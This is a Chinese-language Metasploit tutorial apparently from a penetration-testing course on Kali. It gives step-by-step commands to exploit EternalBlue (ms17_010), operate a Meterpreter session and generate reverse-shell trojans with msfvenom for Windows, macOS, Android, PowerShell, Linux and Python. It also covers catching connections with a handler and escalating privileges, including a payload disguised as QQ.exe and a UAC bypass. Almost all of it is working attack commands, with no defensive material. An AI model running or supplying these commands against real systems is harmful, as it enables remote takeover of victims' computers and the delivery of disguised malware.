本篇课程如未特别解释均使用 Kali 虚拟机进行
MSF的了解
msf(全称 metasploit)是一款功能强大的攻击框架框架
现在我们打开msf
启动 Kali,在终端中输入msfconsole打开msf
msf中集成了很多工具,例如你可以调用nmapnmap -sV [目标ip]
实验部分
msf使用漏洞进行攻击
这里以漏洞:永恒之蓝 ms17_010为例
前置知识: msf如果使用漏洞去攻击对方,需要的条件:
- 漏洞
- 攻击载荷(木马、病毒)
STEP1 利用漏洞进入目标计算机
1
2
3
4
|
use exploit/windows/smb/ms17_010_eternalblue 选择要使用的漏洞
show options 查看使用要求
set rhosts [目标ip]
run或者exploit
|
返回了以下内容说明漏洞已经利用成功: WIN!

STEP2 执行命令
这时发现控制台的指令前缀已经从msf >变成了metepreter >我们可以敲一个help看看有什么指令可用
这边举例几个常用指令:
getuid 查看当前控制的用户账户权限
shell 打开目标的终端
其他命令可以参考这篇文章:Meterpreter 命令手册(中文)
退出连接输入 exit
另外如果想要暂时断开(挂起)连接可以使用:background命令
这时当前连接就会被保存为名称为session 的任务,其中为数字,例如session 1
sessions 查看控制了多少人
过会要重新连接时可以输入sessions -i 1即可
基于木马程序的msf内网渗透
服务端准备
现在我们要用msf生成 32位 木马程序,执行下面的命令:
1
2
|
cd Desktop/ 方便找到exe文件
msfvenom -a x86 -platform windows -p windows/meterpreter/reverse_tcp LHOST=[控制端ip] lport=[端口号] -f exe > 文件名.exe
|
现在我们生成的是用于服务端的文件,接下来我们开始配置控制端
补充:生成64位木马命令
1
|
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=[控制端ip] lport=[端口号] -f exe -o 文件名.exe
|
控制端准备
msfconsole 打开msf控制台
1
2
3
4
|
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp payload后的内容要与上面-p后面的内容一致
set lhost [控制端ip]
run或者Sexploit
|
现在开始如果有目标打开了木马程序就会自动连接到被控端:

其他类型木马
生成Mac木马(32位旧版)
1
|
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp lhost=[控制端ip] lport=[端口号] -f macho -p 文件名.macho
|
生成安卓木马(旧版,需要数字签名)
1
|
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp lhost=[控制端ip] lport=[端口号] -f apk -o 文件名.apk
|
生成power shell木马(raw表示生成代码,不是程序)
1
|
msfvenom -a x86 --platform windows -p windows/powershell_reverse_tcp lhost=[控制端ip] lport=[端口号] -e cmd/powershell_base64 -i 3 -f raw -o msf.ps1
|
生成Linux木马
1
|
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp lhost=[控制端ip] lport=[端口号] -f elf -o 文件名.elf
|
生成python木马
1
|
msfvenom -p python/meterpreter/reverse_tcp lhost=[控制端ip] lport=[端口号] -f raw -o 文件名.py
|
meterpreter操作补充
提权
方法一:直接提权
getsystem 直接提权(有风险,可能报错)
方法二:通过ask模块提权
若当前已经进入meterpreter > 控制台:
1
2
3
|
background 挂起连接
use exploit/windows/local/ask 加载ask模块
info 查看信息
|
查看到需要指定目标的session号码,所以使用sessions查询(以session 1为例)
1
2
3
|
set session 1
set filename QQ.exe 此处填伪装的文件名,以qq为例
run
|
方法三:UAC绕过提权(成功率不高,仅限32位系统)
1
2
3
4
|
use exploit/windows/local/bypassuac
show options
set session [编号]
run
|
之后会反弹一个新的session,进入这个新的session